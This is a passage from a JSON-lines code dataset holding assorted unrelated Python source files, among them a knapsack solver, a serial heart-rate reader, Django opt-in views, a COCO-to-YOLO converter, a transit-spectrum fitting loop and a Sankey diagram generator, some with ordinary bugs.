print(\"total:\\033[31;1m{0}\\033[0m\".format(total))\n exit()\n else:\n continue\n\n elif choice.isdigit:\n if int(choice) < len(shop_list):\n ret = shop_list[int(choice)-1]\n if salary > ret[1]:\n salary = salary - ret[1]\n print(\"您消费了:\\033[31;1m{0}\\033[0m\".format(ret[1]))\n car.append(ret)\n else:\n print(\"你的钱不够,还差\\033[31;0m{0}\\033[0m\".format(ret[1] - salary))\n\n else:\n print(\"\\033[31;1m没有些商品.\\033[0m\")\n continue\n\n\n\n\n\n\n\n","sub_path":"python/homework/day02_shop-sed-menu/shop.py","file_name":"shop.py","file_ext":"py","file_size_in_byte":1215,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"353921420","text":"# -*- coding: utf-8 -*-\n\"\"\"\n.. module:: pytfa\n :platform: Unix, Windows\n :synopsis: Simple Kinetic Models in Python\n\n.. moduleauthor:: SKiMPy team\n\n[---------]\n\nCopyright 2017 Laboratory of Computational Systems Biotechnology (LCSB),\nEcole Polytechnique Federale de Lausanne (EPFL), Switzerland \n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\nhttp://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n\n\"\"\"\n\"\"\" Simulation types \"\"\"\nQSSA = 'qssa'\nTQSSA = 'tqssa'\nMCA = 'mca'\nODE = 'ode'\nELEMENTARY = 'elementary'\n\n\n\"\"\" Jacobian Types\"\"\"\nNUMERICAL = 'numerical'\nSYMBOLIC = 'symbolic'\n\n\"\"\" MCA Types \"\"\"\nNET = 'net'\nSPLIT = 'split'\n\n\n\"\"\" Item types \"\"\"\nPARAMETER = 'parameter'\nVARIABLE = 'variable'\n\n\"\"\" Units \"\"\"\nKCAL = 'kcal'\nKJ = 'kJ'\nJOULE = 'JOULE'\n\n\n\"\"\" OTHER \"\"\"\nWATER_FORMULA = 'H2O'\n\n","sub_path":"utils/namespace.py","file_name":"namespace.py","file_ext":"py","file_size_in_byte":1214,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"41269281","text":"\nimport pandas as pd\nimport itertools\ndef into_excel(newdict):\n titles=[]\n values=[]\n for key in newdict:\n titles.append(key) \n values.append(newdict[key])\n d = {'Title': titles}\n if titles:\n if isinstance(newdict[titles[0]], str):\n d[\"Pred\"]=values\n else:\n values=itertools.izip_longest(*values)\n print(titles)\n counter=1\n for pred in values:\n print(\"Values\", values)\n column_name=\"Pred\"+str(counter)\n d[column_name]=list(pred)\n print(column_name, list(pred))\n counter+=1\n print(d)\n df = pd.DataFrame(data=d)\n return df\n \n#{\"sher is \":\"12020\", \"fotima\":\"212132\"}\n#{\"sher is\":[(12, 20%),(15, 20%),(16, 20%)], \"fotima is\":[(12, 20%),(15, 20%),(16, 20%)]}","sub_path":"django_web_app/nlp/helper/create_excel.py","file_name":"create_excel.py","file_ext":"py","file_size_in_byte":838,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"110338903","text":"# Uses python3\nimport sys\n\ndef optimal_weight_greedy(W, w):\n # write your code here\n result = 0\n for x in w:\n if result + x <= W:\n result = result + x\n return result\n\ndef optimal_weight(W, w):\n \n m = [[0] * (W+1) for _ in range(len(w)+1)]\n\n for i in range(len(w)):\n item_weight = w[i]\n for c in range(1, W+1):\n weight_not_taken = m[i][c]\n highest_weight = weight_not_taken\n\n if c >= item_weight:\n weight_if_taken = m[i][c-item_weight] + item_weight\n if weight_if_taken > weight_not_taken:\n highest_weight = weight_if_taken\n \n m[i+1][c] = highest_weight\n\n return m[len(w)][W]\n\n\ndef test(W, w, res):\n print(\"passed\" if optimal_weight(W, w) == res else \"failed\")\n\ndef unit_test():\n test(10, [1,4,8], 9)\n test(20, [5, 7, 12, 18], 19)\n\nif __name__ == '__main__':\n if len(sys.argv) > 1:\n unit_test()\n else: \n input = sys.stdin.read()\n W, n, *w = list(map(int, input.split()))\n print(optimal_weight(W, w))\n","sub_path":"AlgorithmicToolbox/week6_dynamic_programming2/1_maximum_amount_of_gold/knapsack.py","file_name":"knapsack.py","file_ext":"py","file_size_in_byte":1109,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"367212252","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Feb 11 18:44:13 2020\n\n@author: Owen Bartolf\n\"\"\"\n\nimport serial\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n#Make the variables below global\nstring_buffer = []\ndata_array = np.array([])\nsample_count = 0\n\ndef receive_sample(ser):\n \n global string_buffer\n global data_array\n global sample_count\n \n byte_recv = ser.read(1).decode('utf-8')\n \n # read a byte from serial (remember to decode)\n if( byte_recv == '\\n'):\n \n data_string = \"\".join(string_buffer)\n print(data_string)\n temp_data_array = np.fromstring(data_string, sep=',')\n \n if(data_array.size == 0): \n data_array = temp_data_array\n else:\n data_array = np.vstack((data_array, temp_data_array))\n \n sample_count = sample_count + 1\n \n # Clear string buffer\n string_buffer = []\n else:\n # append the new char to string_buffer\n string_buffer.extend(byte_recv)\n \ndef receive_data(ser):\n global sample_count\n \n while sample_count < 50*10:\n try:\n receive_sample(ser)\n \n except(KeyboardInterrupt):\n # Send stop data \n ser.close() #we'll use ctrl+c to stop the program\n print(\"Exiting program due to KeyboardInterrupt\")\n break\n\n# Returns Milliseconds\ndef calc_sampling_rate():\n global data_array\n \n difference = np.diff(data_array, 1, 0)\n np.set_printoptions(precision=3)\n mean = np.mean(difference[:,0])\n return 1000000 / mean\n\ndef plot():\n global data_array\n \n np.savetxt(\"foo.csv\", data_array, delimiter=\",\")\n data_array_from_file = np.genfromtxt('foo.csv', delimiter=',')\n\n \n plt.clf()\n fig, axs = plt.subplots(3)\n \n plt.subplot(411)\n plt.plot(data_array_from_file[:,0], data_array_from_file[:,1]) \n \n plt.title(\"Accelerometer Data\")\n plt.ylabel(\"X Amplitude\")\n \n plt.subplot(412)\n plt.plot(data_array_from_file[:,0], data_array_from_file[:,2])\n plt.ylabel(\"Y Amplitude\")\n \n plt.subplot(413)\n plt.plot(data_array_from_file[:,0], data_array_from_file[:,3])\n plt.ylabel(\"Z Amplitude\")\n \n plt.subplot(414)\n plt.plot(data_array_from_file[:,0], -data_array_from_file[:,4])\n plt.ylabel(\"Red\")\n plt.xlabel(\"Time Sampled\")\n \n \n plt.show()\n\n # plot_z(data_array_from_file)\n \ndef remove_mean_offset(s):\n mean_s = np.mean(s)\n s = s - mean_s\n \n return s\n\ndef moving_average(s, n_avg):\n ma = np.zeros(s.size)\n for i in np.arange(0, len(s)):\n ma[i] = np.mean( s[i:(i + n_avg)] ) \n return ma\n\ndef detrend(s, n_avg):\n ma = moving_average(s, n_avg)\n return s - ma\n\ndef signal_diff(s):\n s_diff = np.diff(s)\n s_diff = np.append(s_diff, 0) #np.diff returns one shorter, so need to add a 0\n #remember to return s_diff\n return s_diff\n\n\ndef calc_heart_rate_time(signal, fs):\n global data_array\n \n # invert source\n signal = -signal\n \n #filter the signal to remove baseline drifting\n signal = detrend(signal, 16)\n \n #filter the signal to remove high frequency noise\n signal = moving_average(signal, 8)\n \n # get standard deviation and remove all values exceeding 2 standard deviations from the mean.\n #std_dev = np.std(signal) \n #signal = np.clip(signal, -std_dev * 1.75, std_dev * 1.75)\n\n #Normalize the signal between 0 and 1\n signal = normalize_signal(signal)\n \n #Explore using the signal directly or potentially using the diff of the signal. \n \n plt.clf()\n plt.plot(data_array[:,0], signal)\n plt.show()\n \n #########################################################\n \n threshold = 0.5\n goingUp = signal[0] < threshold\n crossings = 0\n \n #Count the number of times the signal crosses a threshold.\n for i in range(signal.size):\n current_sample = signal[i]\n \n if goingUp and current_sample > threshold:\n goingUp = False\n crossings = crossings + 1\n else:\n if not goingUp and current_sample < threshold:\n goingUp = True\n crossings = crossings + 1\n \n # Calculate the beats per minute.\n time_to_get_samples = (1/fs) * signal.size\n print(time_to_get_samples)\n \n return ((crossings/2) * 60) / time_to_get_samples\n\ndef normalize_signal(signal):\n \n #find min of signal\n minimum = np.min(signal)\n \n #subtract the minimum so the minimum of the signal is zero\n signal = signal - minimum\n #find the new maximum of the signal\n maximum = np.max(signal)\n \n #divide the signal by the new maximum so the maximum becomes 1\n signal = signal / maximum\n \n return signal\n\ndef linear_map(a1, a2, b1, b2, s):\n return b1 + (((s - a1) * (b2 - b1))/(a2 - a1))\n\ndef setup_serial():\n serial_name = 'COM4'\n ser = serial.Serial(serial_name, 230400) # open serial port\n print(ser.name) # check which ports was really used\n return ser\n\ndef main():\n global data_array\n \n ser = setup_serial()\n ser.write(\"stop data\\n\".encode('utf-8'))\n ser.write(\"start data\\n\".encode('utf-8'))\n receive_data(ser)\n ser.write(\"stop data\\n\".encode('utf-8'))\n ser.close()\n \n sampRate = calc_sampling_rate()\n print(\"The freq was \" + str(1/sampRate))\n\n plot()\n print(calc_heart_rate_time(data_array[:,4], 1/(sampRate/1000)))\n \n\nif __name__== \"__main__\":\n main()","sub_path":"src/Python/lab4_tutorials/serialCommunicator.py","file_name":"serialCommunicator.py","file_ext":"py","file_size_in_byte":5496,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"485638139","text":"#!/usr/bin/python\n\nimport sys\n\ndef rock_paper_scissors(n):\n def construct_list(input_list, remaining_plays):\n if remaining_plays == 0:\n # base case - done: append input_list to output_list\n return output_list.append(input_list)\n else:\n # concatenate rps_list items to input_list and call self n-1 times\n for item in rps_list:\n construct_list([*input_list, item], remaining_plays - 1)\n\n rps_list = [\"rock\", \"paper\", \"scissors\"]\n output_list = []\n\n construct_list([], n)\n return output_list\n'''\nfor item in rock_paper_scissors(3):\n print(item)\n'''\nif __name__ == \"__main__\":\n if len(sys.argv) > 1:\n num_plays = int(sys.argv[1])\n print(rock_paper_scissors(num_plays))\n else:\n print('Usage: rps.py [num_plays]')\n","sub_path":"rock_paper_scissors/rps.py","file_name":"rps.py","file_ext":"py","file_size_in_byte":758,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"452633071","text":"from django.http import JsonResponse\nfrom django.shortcuts import render\nfrom django.views.generic.base import View\nfrom django.views.generic import FormView\n\nfrom validate_email import validate_email\n\nfrom .forms import EmailOptinForm, TrialOptinForm\n\n\n\nclass EmailValidationView(View):\n\temail_address = None\n\n\tdef __init__(self, **kwargs):\n\t\tself.email_address = request.POST.get('email_address', None)\n\t\treturn\n\n\tdef post(self, request, *args, **kwargs):\n\t\tif self.email_address:\n\t\t\tis_valid = validate_email(self.email_address,verify=True)\n\n\t\tif not is_valid:\n\t\t\tis_valid = False\t\t\n\n\t\tdata = {\n\t\t\t\t'is_valid': is_valid,\n\t\t}\n\t\treturn JsonResponse(data)\n\n\n\n\n\nclass EmailOptinView(FormView):\n\tform_class = EmailOptinForm\n\temail_optin_form = None\n\n\tdef __init__(self, **kwargs):\n\t\tprint(\"here\")\n\t\tself.email_optin_form = None\n\t\tpass\n\n\tdef get_context_data(self, request, **kwargs):\n\t\t# Call the base implementation first to get a context\n\t\tprint(\"1HERE: \")\n\t\tcontext = {}#super(FormView, self).get_context_data(**kwargs)\n\t\tself.email_optin_form = EmailOptinForm()\n\t\tprint(\"self.email_optin_form: \", self.email_optin_form)\n\t\tself.email_optin_form.prefix = 'email_optin_form'\n\n\t\tcontext['email_optin_form'] = self.email_optin_form\n\n\t\tprint(\"1context: \", context)\n\t\treturn context\n\n\tdef get(self, request, *args, **kwargs):\n\n\t\t\n\n\t\tself.email_optin_form.prefix = 'email_optin_form'\n\t\tcontext = self.get_context_data(request)\n\t\treturn self.render_to_response(self.context)\n\n\tdef post(self, request, *args, **kwargs):\n\t\tself.email_optin_form = EmailOptinForm(self.request.POST, prefix='email_optin_form ')\n\n\t\tif self.email_optin_form.is_valid():\n\t\t\treturn HttpResponseRedirect(\"google.com\")\n\t\telse:\n\t\t\tself.email_optin_form.prefix='email_optin_form'\n\t\t\tcontext = self.get_context_data(request)\n\t\t\treturn self.render_to_response(context)\n\n\n\n\n\nclass TrialOptinView(FormView):\n\tform_class = TrialOptinForm\n\ttrial_optin_form = None\n\n\tdef __init__(self, **kwargs):\n\t\tprint(\"here\")\n\t\tself.trial_optin_form = None\n\t\tpass\n\n\tdef get_context_data(self, request, **kwargs):\n\t\t# Call the base implementation first to get a context\n\t\tprint(\"2HERE: \")\n\t\tcontext = {}#super(FormView, self).get_context_data(**kwargs)\n\t\t\n\t\tself.trial_optin_form = TrialOptinForm()\n\t\tprint(\"self.trial_optin_form: \", self.trial_optin_form)\n\t\tself.trial_optin_form.prefix = 'trial_optin_form'\n\t\tcontext['trial_optin_form'] = self.trial_optin_form\n\n\t\tprint(\"2context: \", context)\n\t\treturn context\n\n\tdef get(self, request, *args, **kwargs):\n\t\tself.trial_optin_form = TrialOptinForm()\n\t\tprint(\"self.trial_optin_form: \", self.trial_optin_form)\n\t\tself.trial_optin_form.prefix = 'trial_optin_form'\n\t\tcontext = self.get_context_data(request)\n\t\treturn self.render_to_response(self.context)\n\n\tdef post(self, request, *args, **kwargs):\n\t\tself.trial_optin_form = TrialOptinForm(self.request.POST, prefix='trial_optin_form ')\n\n\t\tif self.trial_optin_form.is_valid():\n\t\t\treturn HttpResponseRedirect(\"google.com\")\n\t\telse:\n\t\t\tself.trial_optin_form.prefix='trial_optin_form'\n\t\t\tcontext = self.get_context_data(request)\n\t\t\treturn self.render_to_response(context)\n\n\n\t\n# class HomeOptinView(FormView):\n# def get(self, request, *args, **kwargs):\n# contact_form = ContactForm()\n# contact_form.prefix = 'contact_form'\n# social_form = SocialForm()\n# social_form.prefix = 'social_form'\n# return self.render_to_response(self.get_context_data('contact_form':contact_form, 'social_form':social_form ))\n\n# def post(self, request, *args, **kwargs):\n# contact_form = ContactForm(self.request.POST, prefix='contact_form')\n# social_form = SocialForm(self.request.POST, prefix='social_form ')\n\n# if contact_form.is_valid() and social_form.is_valid():\n# ### do something\n# return HttpResponseRedirect(>>> redirect url <<<)\n# else:\n# return self.form_invalid(contact_form,social_form , **kwargs)\n\n\n# def form_invalid(self, contact_form, social_form, **kwargs):\n# contact_form.prefix='contact_form'\n# social_form.prefix='social_form'\n# return self.render_to_response(self.get_context_data('contact_form':contact_form, 'social_form':social_form ))\n\n\n\n\n\n\n\n\n","sub_path":"optin/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4231,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"599391548","text":"import os\nimport json \nimport argparse\nimport pandas as pd\n\ndef parse_arguments():\n \"\"\"Parse commandline arguments\n \"\"\"\n\n parser = argparse.ArgumentParser(description=\"Train the MobileNetV3 model\")\n\n parser.add_argument(\n \"--input-path\",\n type=str,\n nargs=\"?\",\n help=\"Annotation file path.\",\n )\n\n parser.add_argument(\n \"--save-path\",\n type=str,\n nargs=\"?\",\n help=\"Path where the converted output files should be saved.\",\n )\n\n return parser.parse_args()\n\n \n\ndef convert():\n args = parse_arguments()\n\n with open(args.input_path) as file:\n coco_annotations = json.load(file)\n\n images_infos = coco_annotations[\"images\"]\n images_annotations = coco_annotations[\"annotations\"]\n\n df = pd.DataFrame(images_annotations)\n\n for image in images_infos:\n image_id = image[\"id\"]\n image_height = image[\"height\"]\n image_width = image[\"width\"]\n file_name = image[\"file_name\"].split(\"/\")[-1]\n file_name_no_extension = os.path.splitext(file_name)[0]\n image_annotations = df[df[\"image_id\"] == image_id]\n\n file_path = os.path.join(args.save_path, f\"{file_name_no_extension}.txt\")\n os.makedirs(os.path.dirname(file_path), exist_ok=True)\n\n with open(file_path, \"w+\") as yolo_file:\n for _, annotation in image_annotations.iterrows():\n class_id = annotation[\"category_id\"]\n bbox = annotation[\"bbox\"]\n x = bbox[0]\n y = bbox[1]\n w = bbox[2]\n h = bbox[3]\n\n yolo_x = ((x + w) / 2) / image_width\n yolo_y = ((y + h) / 2) / image_height\n yolo_w = w / image_width\n yolo_h = h / image_height\n\n yolo_file.write(f\"{class_id} {yolo_x} {yolo_y} {yolo_w} {yolo_h}\")\n yolo_file.write(\"\\n\")\n\n yolo_file.close()\n\n\nif __name__ == \"__main__\":\n convert()","sub_path":"Data/coco_to_yolov5.py","file_name":"coco_to_yolov5.py","file_ext":"py","file_size_in_byte":1979,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"58648437","text":"# -*- coding: utf-8 -*-\n\"\"\"\nTRANSIT_SPECTRUM_LOOP_MULTICORE.PY\n\nThis script uses transit_fitting_linear_baseline.transit_fit_linear_baseline to fit transits using multiple cores! Currently set to 8 cores\n. Currently it's hardcoded for 55Cnc e data, but will be made into a more dynamic function soon.\n\n:Input: \n None currently, but you'll need to modify filelist, report_name, pickle_name, and fitting function options. Eventually it'll be a function.\n\n:Output:\n None, but a pickle will be made of important variables. You can use this pickle and a spectrum_plot_joint script to plot the resulting transit spectrum.\n\n\"\"\"\n\nimport transit_fitting_linear_baseline\nimport numpy as np\nimport multiprocessing as mp\nimport pickle\n\nif __name__ == \"__main__\":\n #55 Cnc e\n filelist=[['oco513010_raw_cleaned_35x1d_test_1dcleaned.fits','oco513020_raw_cleaned_35x1d_test_1dcleaned.fits','oco513030_raw_cleaned_35x1d_test_1dcleaned.fits','oco513040_raw_cleaned_35x1d_test_1dcleaned.fits'],['oco514010_raw_cleaned35x1d.fits','oco514020_raw_cleaned35x1d.fits','oco514030_raw_cleaned35x1d.fits','oco514040_raw_cleaned35x1d.fits'],['oco515010_raw_cleaned35x1d.fits','oco515020_raw_cleaned35x1d.fits','oco515030_raw_cleaned35x1d.fits','oco515040_raw_cleaned35x1d.fits']]\n \n def r_and_p_names(i,filelist,bins):\n report_name = '55cnc_6_10_full_'+str(int(bins[i-1]))+'_'+str(int(bins[i]))+'.pdf'\n pickle_name='55cnc_6_10_'+str(int(bins[i-1]))+'_'+str(int(bins[i]))+'.pickle'\n #Loop through 'bincalc' to calculate different bins\n best_model,guess_labels,best_fit,resids,sdeviation,best_mcmc_params,mcmc_model=transit_fitting_linear_baseline.transit_fit_linear_baseline(filelist,report_name,pickle_name,nbins=4,binstart=5315,binend=10100,bincalc=i)\n return best_model,guess_labels,best_fit,resids,sdeviation,best_mcmc_params,mcmc_model\n \n best_model_params = []\n guess_labels_params = []\n best_fit_params = []\n resids_params = []\n sdeviation_params = []\n best_mcmc_params_params = []\n mcmc_model_params = []\n \n bins = np.linspace(5315.,10100.,5)\n \n pool=mp.Pool(processes=8)\n #args = filelist\n #kwds = {report_name:'55cnc_6_10_full_'+str(int(bins[i-1]))+'_'+str(int(bins[i]))+'.pdf',pickle_name:pickle_name='55cnc_6_10_'+str(int(bins[i-1]))+'_'+str(int(bins[i]))+'.pickle',nbins:4,binstart:5315,binend:10100,bincalc:i} \n #results = [pool.apply(transit_fitting_linear_baseline.transit_fit_linear_baseline,args=args,kwds=kwds) for i in range(1,len(bins))]\n \n #kd={'report_name':'55cnc_6_10_full_'+str(int(bins[i-1]))+'_'+str(int(bins[i]))+'.pdf',\\\n # 'pickle_name':'55cnc_6_10_'+str(int(bins[i-1]))+'_'+str(int(bins[i]))+'.pickle',\\\n # 'nbins':4,'binstart':5315,'binend':10100,'bincalc':i}\n \n #for i in range(1,len(bins)):\n ## report_name = '55cnc_6_10_full_'+str(int(bins[i-1]))+'_'+str(int(bins[i]))+'.pdf'\n ## print report_name\n ## pickle_name='55cnc_6_10_'+str(int(bins[i-1]))+'_'+str(int(bins[i]))+'.pickle'\n ## print pickle_name\n # \n \n results = [pool.apply_async(r_and_p_names,args=(i,filelist,bins)) for i in range(1,len(bins))]\n output = [p.get() for p in results]\n #results = [pool.apply(transit_fitting_linear_baseline.transit_fit_linear_baseline,args=(filelist),\\\n #kwds=({'report_name':'55cnc_6_10_full_'+str(int(bins[i-1]))+'_'+str(int(bins[i]))+'.pdf',\\\n # 'pickle_name':'55cnc_6_10_'+str(int(bins[i-1]))+'_'+str(int(bins[i]))+'.pickle',\\\n # 'nbins':4,'binstart':5315,'binend':10100,'bincalc':i})) for i in range(1,len(bins))] \n # args = filelist\n # kwds = {report_name:'55cnc_6_10_full_'+str(int(bins[i-1]))+'_'+str(int(bins[i]))+'.pdf',pickle_name:pickle_name='55cnc_6_10_'+str(int(bins[i-1]))+'_'+str(int(bins[i]))+'.pickle',nbins:4,binstart:5315,binend:10100,bincalc:i} \n # #best_model,guess_labels,best_fit,resids,sdeviation,best_mcmc_params,mcmc_model=transit_fitting_linear_baseline.transit_fit_linear_baseline(filelist,report_name,pickle_name,nbins=4,binstart=5315,binend=10100,bincalc=i)\n # best_model_params.append(best_model)\n # guess_labels_params.append(guess_labels)\n # best_fit_params.append(best_fit)\n # resids_params.append(resids)\n # sdeviation_params.append(sdeviation)\n # best_mcmc_params_params.append(best_mcmc_params)\n # mcmc_model_params.append(mcmc_model)\n #\n ##for j in range(1,len(bins)):\n ## mid_wave = (bins[j-1]+bins[j])/2\n ## print mid_wave\n ## plot(mid_wave,)\n # \n #pickle_name='55cnc_full_6_10.pickle'\n #variables = {'Guess_Labels':guess_labels_params,\\\n # 'MCMC_Params':best_mcmc_params_params,\\\n # 'Best_Model':best_model_params,'Best_Fit':best_fit_params,\\\n # 'Resids':resids_params,'SDeviation':sdeviation_params,\\\n # 'MCMC_Model':mcmc_model_params}\n #pickle.dump(variables,open(pickle_name_tmp,\"wb\"))\n #close(pickle_name)\n #close('all')\n \n pickle_name='55cnc_full_6_10.pickle'\n variables = {'Results':output}\n pickle.dump(variables,open(pickle_name,\"wb\"))\n close(pickle_name)\n close('all')","sub_path":"transit_spectrum_loop_multicore.py","file_name":"transit_spectrum_loop_multicore.py","file_ext":"py","file_size_in_byte":5193,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"567436043","text":"import os\nimport json\nimport copy\n\nsample0 = {}\nlistz = []\nwith open('map_standard.json', 'r') as f:\n\tdata = json.load(f)\n\tfor item in data:\n\t\tsample = copy.copy(sample0)\n\t\tsample['type'] = 'Feature'\n\t\tsample['geometry'] = {\n\t\t\t'type':'Point',\n\t\t\t'coordinates': [\n\t\t\t\titem['geometry']['location']['lng'],\n\t\t\t\titem['geometry']['location']['lat']\n\t\t\t]\n\t\t}\n\t\tsample['properties'] = {\n\t\t\t'Address': item['vicinity'],\n\t\t\t'name': item['name']\n\t\t}\n\t\tlistz.append(sample)\n\tlol = {\n\t\t\"type\": \"FeatureCollection\",\n\t\t\t\"features\": listz\n\t\t}\n\twith open('restaurant.geojson', 'w') as f1:\n\t\tjson.dump(lol, f1)\n\n","sub_path":"convert_placeJSON_ GeoJSON.py","file_name":"convert_placeJSON_ GeoJSON.py","file_ext":"py","file_size_in_byte":596,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"141352514","text":"import cProfile\nimport json\nfrom itertools import groupby, product\nfrom shutil import copyfile\n\nimport numpy as np\nimport pandas as pd\nfrom sklearn.preprocessing import LabelEncoder, MultiLabelBinarizer\n\nfrom core.data_api.dataset_handler import DatasetHandler\nfrom settings.settings import STATS_FOLDER, LINKS_FOLDER, GROUPS_FOLDER, GROUPS_DEMOGRAPHICS, SANKEY_TEMPLATE, \\\n LABELED_LINKS_FOLDER\nfrom tools.dataset_tools import get_items_descriptions\nfrom tools.demographics import extract_demographics\nfrom tools.lcm_tools import read_lcm_output\nfrom tools.sankey_tools import label_groups\n\n\ndef profileit(func):\n def wrapper(*args, **kwargs):\n datafn = func.__name__ + \".profile\" # Name the data file sensibly\n prof = cProfile.Profile()\n retval = prof.runcall(func, *args, **kwargs)\n prof.dump_stats(datafn)\n return retval\n\n return wrapper\n\n\nclass SankeyGenerator:\n\n def format_links(self, x):\n res = []\n for i in x[0]:\n for idx in range(len(i) - 1):\n res.append([i[idx], i[idx + 1], x[\"index\"]])\n return res\n\n def make_links(self, e, index):\n \"\"\"Product of groups ids for each two consecutive groups periods\"\"\"\n prev = e[0]\n for i in e[1:]:\n yield from product(prev, i, [index])\n prev = i\n\n @profileit\n def sankey_preprocessing(self, input_file, user_apparition_threshold=0,\n user_nunique_periods_threshold=3, keep_all_groups_in_periods=[]):\n\n le = LabelEncoder()\n demographics = extract_demographics(input_file)\n df = read_lcm_output(input_file).sort_values(\"period\").reset_index(drop=True)\n\n file = f'{LINKS_FOLDER}/{input_file}'\n mlb = MultiLabelBinarizer(sparse_output=True)\n df_users_apparition = mlb.fit_transform(df.user_ids.tolist()).astype(bool)\n df_users_apparition = pd.DataFrame(df_users_apparition.toarray(), columns=mlb.classes_)\n\n df_stats = df_users_apparition.sum()\n df_users_apparition = df_users_apparition[df_stats[df_stats > user_apparition_threshold].index]\n df_users_apparition = df_users_apparition.T.apply(lambda x: np.where(x)[0], axis=1)\n df_stats = df_users_apparition.to_frame()[0].apply(\n lambda x: list(list(z) for idx, z in groupby(x, lambda y: df.iloc[y].period))\n )\n df_stats = df_stats[df_stats.apply(lambda x: len(x)) > user_nunique_periods_threshold]\n\n res = []\n df_stats.to_frame().reset_index().apply(lambda x: [res.append(i) for i in self.make_links(x[0], x[\"index\"])],\n axis=1)\n links = pd.DataFrame(res)\n\n links.columns = [\"source\", \"target\", \"user_id\"]\n links = links.groupby([\"source\", \"target\"])[\"user_id\"].apply(\n lambda x: ','.join(str(i) for i in x)).reset_index()\n links.to_csv(file)\n\n # Keep groups appearing in at least one week\n file = f'{GROUPS_FOLDER}/{input_file}'\n groups_to_keep = np.unique(np.union1d(links.source.unique(), links.target.unique()))\n\n groups_to_keep = np.union1d(groups_to_keep, df[df.period.isin(keep_all_groups_in_periods)].index)\n df_groups = df.loc[groups_to_keep].dropna()\n df_groups['depth'] = le.fit_transform(df_groups.period) / df_groups.period.nunique()\n df_groups['size'] = df_groups.user_ids.apply(lambda x: len(x))\n if len(demographics) == 1:\n df_groups[demographics[0]] = df_groups.property_values\n else:\n df_groups[demographics] = df_groups.property_values.str.split(\"_\", expand=True)\n\n # Encoding items to their initial ID + adding names\n # TODO remove dependency to DatasetHandler\n self.dh = DatasetHandler()\n items = self.dh.get_items()\n\n df_groups[\"itemset_name\"] = df_groups[\"itemsets\"].astype(str).apply(\n lambda x: json.dumps(get_items_descriptions(x, items)))\n df_groups.to_csv(file)\n\n # Groups demographics stats\n file = f'{STATS_FOLDER}/{input_file}'\n stats = {}\n for i in np.intersect1d(GROUPS_DEMOGRAPHICS, demographics):\n b = df_groups.groupby(i).apply(lambda x: {\"name\": x[i].unique()[0], \"value\": x.index.shape[0],\n \"groups\": \",\".join(str(i) for i in x.index)}).values\n stats[i] = str(b.tolist())\n with open(file, 'w') as outfile:\n json.dump(stats, outfile)\n\n self.make_labeled_links(input_file, links, df_groups)\n print(\"Done\", input_file)\n\n def make_labeled_links(self, file_name, links, groups):\n links[\"user_id\"] = links[\"user_id\"].apply(lambda x: [int(i) for i in str(x).split(\",\")])\n links_extra = links.merge(groups[[\"user_ids\"]], left_on=\"source\", right_index=True) \\\n .merge(groups[[\"user_ids\"]], left_on=\"target\", right_index=True)\n links_extra.columns = [\"source\", \"target\", \"intersection\", \"source_users\", \"target_users\"]\n links_extra[\"label\"] = links_extra.apply(label_groups, axis=1)\n links_extra.columns = ['source', 'target', 'user_id', 'source_users', 'target_users', 'label']\n links_extra[[\"source\", \"target\", \"user_id\", \"label\"]].to_csv(f\"{LABELED_LINKS_FOLDER}/{file_name}\", index=None)\n\n def generate_sankey_file(self, input_name):\n destination_file = SANKEY_TEMPLATE.replace(\"template\", input_name.replace(\".out\", \"\"))\n copyfile(SANKEY_TEMPLATE, destination_file)\n return destination_file\n","sub_path":"QeNoBi/QeNoBiApp/MiningGroupsBehaviorFWK/src/core/data_api/sankey_generator.py","file_name":"sankey_generator.py","file_ext":"py","file_size_in_byte":5547,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"490467373","text":"# Represent infinity by a value that is\n# larger than all game values that can occur, \n# but small enough to be treated as a Python 3 int\nINFINITY = 1000000\n\n# Encoding of game results\nPROVEN_WIN = 10000\nPROVEN_LOSS = -PROVEN_WIN\nUNKNOWN = 0 # heuristic score, set to 1 to see a difference from draw\nDRAW = 0\n\n","sub_path":"assignment2/search_basics.py","file_name":"search_basics.py","file_ext":"py","file_size_in_byte":310,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"81932761","text":"import pytest\n\nfrom domain.entities.admin import Admin\nfrom domain.repositories.admin_repository import AdminDbRepository\nfrom tools.create_db_for_tests import create_test_app_with_db\nimport db.models as models\n\n\n@pytest.fixture(scope='module')\ndef app_for_test():\n create_test_app_with_db()\n yield\n models.AdminInfo.query.delete()\n\n\ndef test_admin_repo(app_for_test):\n log = 'admin'\n psw = 'Pyth0n'\n test_admin = Admin(log, psw)\n app_for_test\n\n AdminDbRepository().add_admin(test_admin)\n\n psw_from_db = AdminDbRepository().get_psw_from_db(test_admin.get_email())\n\n assert psw_from_db == psw\n","sub_path":"backend/tests/test_func_login_with_db.py","file_name":"test_func_login_with_db.py","file_ext":"py","file_size_in_byte":622,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"585835246","text":"'''\nAjax 异步加载\n通过调试工具 查看XHR 